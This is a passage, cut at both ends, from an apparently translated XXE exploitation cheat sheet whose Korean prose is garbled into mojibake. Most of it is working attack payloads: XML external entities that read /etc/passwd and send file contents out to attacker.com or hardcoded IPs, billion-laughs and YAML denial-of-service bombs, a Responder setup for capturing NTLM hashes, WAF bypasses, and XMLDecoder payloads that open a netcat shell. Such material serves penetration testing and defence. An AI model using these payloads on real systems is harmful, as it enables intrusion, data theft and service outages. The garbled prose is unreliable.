๋ด์์๋ง ์ ๊ทผํ ์ ์๋๋ก ์ค๊ณ๋์์ต๋๋ค. ์ด๋ PKZIP ์์นด์ด๋ธ(์: .zip, .jar ๋ฑ) ๋ด์์ ํ์ผ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํ๋ฉฐ, ๋ก์ปฌ ๋ฐ ์๊ฒฉ ํ์ผ ๋ชจ๋๋ฅผ ์ง์ํฉ๋๋ค.
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
Caution
PKZIP ํ์ผ ๋ด๋ถ์ ํ์ผ์ ์ ๊ทผํ ์ ์๋ ๊ฒ์ ์์คํ DTD ํ์ผ์ ํตํด XXE๋ฅผ ์ ์ฉํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค. ์์คํ DTD ํ์ผ์ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ๋ ค๋ฉด ์ด ์น์ ์ ํ์ธํ์ธ์.
PKZIP ์์นด์ด๋ธ ๋ด์ ํ์ผ์ ์ ๊ทผํ๋ ๊ณผ์ ์ ์ฌ๋ฌ ๋จ๊ณ๋ฅผ ํฌํจํฉ๋๋ค:
- ์ง์ ๋ ์์น์์ zip ์์นด์ด๋ธ๋ฅผ ๋ค์ด๋ก๋ํ๊ธฐ ์ํด HTTP ์์ฒญ์ด ์ด๋ฃจ์ด์ง๋๋ค, ์๋ฅผ ๋ค์ด
https://download.website.com/archive.zip. - ์์นด์ด๋ธ๋ฅผ ํฌํจํ๋ HTTP ์๋ต์ด ์์คํ
์ ์์๋ก ์ ์ฅ๋๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก
/tmp/...์ ๊ฐ์ ์์น์ ์ ์ฅ๋ฉ๋๋ค. - ์์นด์ด๋ธ๊ฐ ์ถ์ถ๋์ด ๊ทธ ๋ด์ฉ์ ์ ๊ทผํฉ๋๋ค.
- ์์นด์ด๋ธ ๋ด์ ํน์ ํ์ผ์ธ
file.zip์ด ์ฝํ๋๋ค. - ์์ ํ, ์ด ๊ณผ์ ์์ ์์ฑ๋ ์์ ํ์ผ์ ์ญ์ ๋ฉ๋๋ค.
์ด ๊ณผ์ ์ ๋ ๋ฒ์งธ ๋จ๊ณ์์ ์ด ํ๋ก์ธ์ค๋ฅผ ์ค๋จํ๋ ํฅ๋ฏธ๋ก์ด ๊ธฐ์ ์ ์์นด์ด๋ธ ํ์ผ์ ์ ๊ณตํ ๋ ์๋ฒ ์ฐ๊ฒฐ์ ๋ฌดํ์ ์ด์ด๋๋ ๊ฒ์
๋๋ค. ์ด ์ ์ฅ์์์ ์ฌ์ฉํ ์ ์๋ ๋๊ตฌ๋ก๋ Python ์๋ฒ(slow_http_server.py)์ Java ์๋ฒ(slowserver.jar)๊ฐ ์์ต๋๋ค.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
Caution
์์ ๋๋ ํ ๋ฆฌ์ ํ์ผ์ ์์ฑํ๋ ๊ฒ์ ๊ฒฝ๋ก ํ์๊ณผ ๊ด๋ จ๋ ๋ค๋ฅธ ์ทจ์ฝ์ ์ ์์น์ํค๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค (์: ๋ก์ปฌ ํ์ผ ํฌํจ, ํ ํ๋ฆฟ ์ฃผ์ , XSLT RCE, ์ญ์ง๋ ฌํ ๋ฑ).
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml ๊ณต๊ฒฉ
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
Quadratic Blowup Attack
.png)
NTML ์ป๊ธฐ
Windows ํธ์คํธ์์๋ responder.py ํธ๋ค๋ฌ๋ฅผ ์ค์ ํ์ฌ ์น ์๋ฒ ์ฌ์ฉ์์ NTML ํด์๋ฅผ ์ป์ ์ ์์ต๋๋ค:
Responder.py -I eth0 -v
๋ค์ ์์ฒญ์ ๋ณด๋ด๋ฉด
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
๊ทธ๋ฐ ๋ค์ hashcat์ ์ฌ์ฉํ์ฌ ํด์๋ฅผ ํฌ๋ํ ์ ์์ต๋๋ค.
์จ๊ฒจ์ง XXE ํ๋ฉด
XInclude
์๋ฒ ์ธก XML ๋ฌธ์์ ํด๋ผ์ด์ธํธ ๋ฐ์ดํฐ๋ฅผ ํตํฉํ ๋, ๋ฐฑ์๋ SOAP ์์ฒญ๊ณผ ๊ฐ์ ๊ฒฝ์ฐ, XML ๊ตฌ์กฐ์ ๋ํ ์ง์ ์ ์ธ ์ ์ด๋ ์ข
์ข
์ ํ๋์ด DOCTYPE ์์๋ฅผ ์์ ํ๋ ๋ฐ ์ ํ์ด ์์ด ์ ํต์ ์ธ XXE ๊ณต๊ฒฉ์ด ์ด๋ ค์์ง๋๋ค. ๊ทธ๋ฌ๋ XInclude ๊ณต๊ฒฉ์ XML ๋ฌธ์์ ๋ชจ๋ ๋ฐ์ดํฐ ์์ ๋ด์ ์ธ๋ถ ์ํฐํฐ๋ฅผ ์ฝ์
ํ ์ ์๋๋ก ํ์ฌ ํด๊ฒฐ์ฑ
์ ์ ๊ณตํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์๋ฒ์์ ์์ฑ๋ XML ๋ฌธ์ ๋ด์ ๋ฐ์ดํฐ์ ์ผ๋ถ๋ง ์ ์ดํ ์ ์๋ ๊ฒฝ์ฐ์๋ ํจ๊ณผ์ ์
๋๋ค.
XInclude ๊ณต๊ฒฉ์ ์คํํ๋ ค๋ฉด XInclude ๋ค์์คํ์ด์ค๋ฅผ ์ ์ธํ๊ณ ์๋๋ ์ธ๋ถ ์ํฐํฐ์ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ง์ ํด์ผ ํฉ๋๋ค. ์๋๋ ๊ทธ๋ฌํ ๊ณต๊ฒฉ์ ์ด๋ป๊ฒ ๊ตฌ์ฑํ ์ ์๋์ง์ ๋ํ ๊ฐ๊ฒฐํ ์์
๋๋ค:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Check https://portswigger.net/web-security/xxe for more info!
SVG - ํ์ผ ์ ๋ก๋
์ฌ์ฉ์๊ฐ ํน์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๋ก๋ํ ํ์ผ์ ์๋ฒ์์ ์ฒ๋ฆฌ๋๋ฉฐ, XML ๋๋ XML์ ํฌํจํ๋ ํ์ผ ํ์์ด ์ฒ๋ฆฌ๋๋ ๋ฐฉ์์ ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์์ต๋๋ค. ์คํผ์ค ๋ฌธ์(DOCX) ๋ฐ ์ด๋ฏธ์ง(SVG)์ ๊ฐ์ ์ผ๋ฐ์ ์ธ ํ์ผ ํ์์ XML์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
์ฌ์ฉ์๊ฐ ์ด๋ฏธ์ง๋ฅผ ์ ๋ก๋ํ ๋, ์ด๋ฌํ ์ด๋ฏธ์ง๋ ์๋ฒ ์ธก์์ ์ฒ๋ฆฌ๋๊ฑฐ๋ ๊ฒ์ฆ๋ฉ๋๋ค. PNG ๋๋ JPEG์ ๊ฐ์ ํ์์ ๊ธฐ๋ํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ฒฝ์ฐ์๋ ์๋ฒ์ ์ด๋ฏธ์ง ์ฒ๋ฆฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ SVG ์ด๋ฏธ์ง๋ฅผ ์ง์ํ ์ ์์ต๋๋ค. XML ๊ธฐ๋ฐ ํ์์ธ SVG๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ SVG ์ด๋ฏธ์ง๋ฅผ ์ ์ถํ์ฌ ์๋ฒ๋ฅผ XXE(XML External Entity) ์ทจ์ฝ์ ์ ๋ ธ์ถ์ํฌ ์ ์์ต๋๋ค.
์๋๋ ์์คํ ํ์ผ์ ์ฝ์ผ๋ ค๋ ์ ์ฑ SVG ์ด๋ฏธ์ง์ ์์์ ๋๋ค:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ PHP โexpectโ ๋ํผ๋ฅผ ํตํด ๋ช ๋ น์ ์คํํ๋ ค๊ณ ์๋ํ๋ ๊ฒ์ ๋๋ค:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
SVG ํ์์ ์๋ฒ ์ํํธ์จ์ด์ XML ์ฒ๋ฆฌ ๊ธฐ๋ฅ์ ์ ์ฉํ๋ ๊ณต๊ฒฉ์ ์์ํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ์ด๋ ๊ฐ๋ ฅํ ์ ๋ ฅ ๊ฒ์ฆ ๋ฐ ๋ณด์ ์กฐ์น์ ํ์์ฑ์ ๊ฐ์กฐํฉ๋๋ค.
์์ธํ ๋ด์ฉ์ https://portswigger.net/web-security/xxe๋ฅผ ํ์ธํ์ธ์!
์ฝ๊ธฐ ํ์ผ์ ์ฒซ ๋ฒ์งธ ์ค ๋๋ ์คํ ๊ฒฐ๊ณผ๋ ์์ฑ๋ ์ด๋ฏธ์ง ๋ด๋ถ์ ๋ํ๋ฉ๋๋ค. ๋ฐ๋ผ์ SVG๊ฐ ์์ฑํ ์ด๋ฏธ์ง์ ์ ๊ทผํ ์ ์์ด์ผ ํฉ๋๋ค.
PDF - ํ์ผ ์ ๋ก๋
๋ค์ ๊ฒ์๋ฌผ์ ์ฝ๊ณ PDF ํ์ผ์ ์ ๋ก๋ํ์ฌ XXE๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์:
PDF Upload - XXE and CORS bypass
Content-Type: x-www-urlencoded์์ XML๋ก
POST ์์ฒญ์ด XML ํ์์ ๋ฐ์ดํฐ๋ฅผ ์๋ฝํ๋ ๊ฒฝ์ฐ, ํด๋น ์์ฒญ์์ XXE๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์ผ๋ฐ ์์ฒญ์ด ๋ค์์ ํฌํจํ๋ ๊ฒฝ์ฐ:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
๊ทธ๋ผ ๋ค์ ์์ฒญ์ ์ ์ถํ ์ ์์ ๊ฒ์ ๋๋ค. ๊ฒฐ๊ณผ๋ ๋์ผํฉ๋๋ค:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: From JSON to XEE
์์ฒญ์ ๋ณ๊ฒฝํ๋ ค๋ฉด โContent Type Converterโ๋ผ๋ Burp Extension์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ์ด ์์ ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
๋ ๋ค๋ฅธ ์์๋ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค.
WAF & ๋ณดํธ ์ฐํ
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
์ด๊ฒ์ XML ์๋ฒ๊ฐ data:// ํ๋กํ ์ฝ์ ์์ฉํ ๋๋ง ์๋ํฉ๋๋ค.
UTF-7
์ฌ๊ธฐ์ [โEncode Recipeโ of cyberchef๋ฅผ ์ฌ์ฉํ์ค ์ ์์ต๋๋ค](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28โUTF-7 %2865000%29โ%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)์์](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28โUTF-7 %2865000%29โ%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29์์ UTF-7๋ก ๋ณํํฉ๋๋ค.
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ Protocol Bypass
์น์ด PHP๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด, file:/ ๋์ php wrappersphp://filter/convert.base64-encode/resource=๋ฅผ ์ฌ์ฉํ์ฌ ๋ด๋ถ ํ์ผ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์น์ด Java๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด jar: protocol์ ํ์ธํ ์ ์์ต๋๋ค.
HTML Entities
https://github.com/Ambrotd/XXE-Notes์์์ ํธ๋ฆญ
html entities๋ก ์ธ์ฝ๋ฉ๋ ์ํฐํฐ ์์ ์ํฐํฐ๋ฅผ ์์ฑํ ๋ค์, ์ด๋ฅผ ํธ์ถํ์ฌ dtd๋ฅผ ๋ก๋ํ ์ ์์ต๋๋ค.
์ฌ์ฉ๋๋ HTML Entities๋ ์ซ์์ฌ์ผ ํ๋ค๋ ์ ์ ์ ์ํ์ธ์ (์๋ฅผ ๋ค์ด [์ด ์์ ์์](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,โNumeric entitiesโ%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD ์:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Wrappers
Base64
์ถ์ถ index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
์ธ๋ถ ๋ฆฌ์์ค ์ถ์ถ
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
์๊ฒฉ ์ฝ๋ ์คํ
PHP โexpectโ ๋ชจ๋์ด ๋ก๋๋ ๊ฒฝ์ฐ
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
์ด ์์๋ https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe์์ ์๊ฐ์ ๋ฐ์์ต๋๋ค.
XLIFF (XML Localization Interchange File Format)๋ ํ์งํ ํ๋ก์ธ์ค์์ ๋ฐ์ดํฐ ๊ตํ์ ํ์คํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด๋ ์ฃผ๋ก ํ์งํ ์ค ๋๊ตฌ ๊ฐ์ ์ง์ญํ ๊ฐ๋ฅํ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ณ CAT (Computer-Aided Translation) ๋๊ตฌ๋ฅผ ์ํ ๊ณตํต ๊ตํ ํ์์ผ๋ก ์ฌ์ฉ๋๋ XML ๊ธฐ๋ฐ ํ์์ ๋๋ค.
Blind Request Analysis
๋ค์ ๋ด์ฉ์ ํฌํจํ์ฌ ์๋ฒ์ ์์ฒญ์ด ์ ์ก๋ฉ๋๋ค:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
๊ทธ๋ฌ๋ ์ด ์์ฒญ์ ๋ด๋ถ ์๋ฒ ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๋ฉฐ, ํนํ ๋งํฌ์ ์ ์ธ๊ณผ ๊ด๋ จ๋ ๋ฌธ์ ๋ฅผ ์ธ๊ธํฉ๋๋ค:
{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
์ค๋ฅ์๋ ๋ถ๊ตฌํ๊ณ , Burp Collaborator์ ํํธ๊ฐ ๊ธฐ๋ก๋์ด ์ธ๋ถ ์ํฐํฐ์์ ์ํธ์์ฉ์ด ์ด๋ ์ ๋ ์์์ ๋ํ๋ ๋๋ค.
Out of Band Data Exfiltration ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๊ธฐ ์ํด ์์ ๋ ์์ฒญ์ด ์ ์ก๋ฉ๋๋ค:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
์ด ์ ๊ทผ ๋ฐฉ์์ User Agent๊ฐ Java 1.8์ ์ฌ์ฉ์ ๋ํ๋ธ๋ค๋ ๊ฒ์ ๋ณด์ฌ์ค๋๋ค. ์ด ๋ฒ์ ์ Java์์ ์ฃผ๋ชฉํ ๋งํ ์ ํ ์ฌํญ์ Out of Band ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ /etc/passwd์ ๊ฐ์ ์ค ๋ฐ๊ฟ ๋ฌธ์๊ฐ ํฌํจ๋ ํ์ผ์ ๊ฒ์ํ ์ ์๋ค๋ ๊ฒ์ ๋๋ค.
Error-Based Data Exfiltration ์ด ์ ํ์ ๊ทน๋ณตํ๊ธฐ ์ํด Error-Based ์ ๊ทผ ๋ฐฉ์์ด ์ฌ์ฉ๋ฉ๋๋ค. DTD ํ์ผ์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์กฐํ๋์ด ๋์ ํ์ผ์ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ๋ ์ค๋ฅ๋ฅผ ์ ๋ฐํฉ๋๋ค:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
์๋ฒ๋ ์ค๋ฅ๋ก ์๋ตํ๋ฉฐ, ์ค์ํ๊ฒ๋ ์กด์ฌํ์ง ์๋ ํ์ผ์ ๋ฐ์ํ๊ณ , ์๋ฒ๊ฐ ์ง์ ๋ ํ์ผ์ ์ ๊ทผํ๋ ค๊ณ ์๋ํ๊ณ ์์์ ๋ํ๋ ๋๋ค:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
์ค๋ฅ ๋ฉ์์ง์ ํ์ผ์ ๋ด์ฉ์ ํฌํจ์ํค๊ธฐ ์ํด DTD ํ์ผ์ด ์กฐ์ ๋ฉ๋๋ค:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
์ด ์์ ์ HTTP๋ฅผ ํตํด ์ ์ก๋ ์ค๋ฅ ์ถ๋ ฅ์ ๋ฐ์๋๋ฏ๋ก ํ์ผ ๋ด์ฉ์ ์ฑ๊ณต์ ์ธ ์ ์ถ๋ก ์ด์ด์ง๋๋ค. ์ด๋ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ถ์ถํ๊ธฐ ์ํด Out of Band ๋ฐ Error-Based ๊ธฐ์ ์ ๋ชจ๋ ํ์ฉํ ์ฑ๊ณต์ ์ธ XXE (XML External Entity) ๊ณต๊ฒฉ์ ๋ํ๋ ๋๋ค.
RSS - XEE
XXE ์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํ RSS ํ์์ ์ ํจํ XML.
Ping back
๊ณต๊ฒฉ์์ ์๋ฒ๋ก์ ๊ฐ๋จํ HTTP ์์ฒญ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
ํ์ผ ์ฝ๊ธฐ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
์์ค ์ฝ๋ ์ฝ๊ธฐ
PHP base64 ํํฐ ์ฌ์ฉ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder๋ XML ๋ฉ์์ง๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ฐ์ฒด๋ฅผ ์์ฑํ๋ Java ํด๋์ค์ ๋๋ค. ์ ์์ ์ธ ์ฌ์ฉ์๊ฐ readObject ๋ฉ์๋ ํธ์ถ์ ์์์ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๋๋ก ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๋ํ ์ ์๋ค๋ฉด, ๊ทธ๋ ์ฆ์ ์๋ฒ์์ ์ฝ๋ ์คํ ๊ถํ์ ์ป๊ฒ ๋ฉ๋๋ค.
Using Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
XXE + WrapWrap + Lightyear + ์ฐํ
์ด ๋๋ผ์ด ๋ณด๊ณ ์๋ฅผ ํ์ธํด ๋ณด์ธ์ https://swarm.ptsecurity.com/impossible-xxe-in-php/
๋๊ตฌ
GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities
Python lxml ํ๋ผ๋ฏธํฐ-์ํฐํฐ XXE (์ค๋ฅ ๊ธฐ๋ฐ ํ์ผ ๋ ธ์ถ)
[!INFO] Python ๋ผ์ด๋ธ๋ฌ๋ฆฌ lxml์ ๋ด๋ถ์ ์ผ๋ก libxml2๋ฅผ ์ฌ์ฉํฉ๋๋ค. lxml 5.4.0 / libxml2 2.13.8 ์ด์ ๋ฒ์ ์
resolve_entities=False์ผ ๋๋ ํ๋ผ๋ฏธํฐ ์ํฐํฐ๋ฅผ ํ์ฅํ์ฌ, ์ ํ๋ฆฌ์ผ์ด์ ์ดload_dtd=True๋ฐ/๋๋resolve_entities=True๋ฅผ ํ์ฑํํ๋ฉด ์ ๊ทผํ ์ ์๊ฒ ๋ฉ๋๋ค. ์ด๋ ๋ก์ปฌ ํ์ผ์ ๋ด์ฉ์ ํ์ ์ค๋ฅ ๋ฉ์์ง์ ํฌํจํ๋ ์ค๋ฅ ๊ธฐ๋ฐ XXE ํ์ด๋ก๋๋ฅผ ํ์ฉํฉ๋๋ค.
1. lxml < 5.4.0 ์ด์ฉํ๊ธฐ
- ์ ์๋์ง ์์ ํ๋ผ๋ฏธํฐ ์ํฐํฐ(์:
%config_hex;)๋ฅผ ์ ์ํ๋ ๋ก์ปฌ DTD๋ฅผ ๋์คํฌ์ ์๋ณํ๊ฑฐ๋ ์์ฑํฉ๋๋ค. - ๋ด๋ถ DTD๋ฅผ ์์ฑํ์ฌ:
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">๋ก ๋ก์ปฌ DTD๋ฅผ ๋ก๋ํฉ๋๋ค.- ์ ์๋์ง ์์ ์ํฐํฐ๋ฅผ ์ฌ์ ์ํ์ฌ:
- ๋์ ํ์ผ์ ์ฝ์ต๋๋ค (
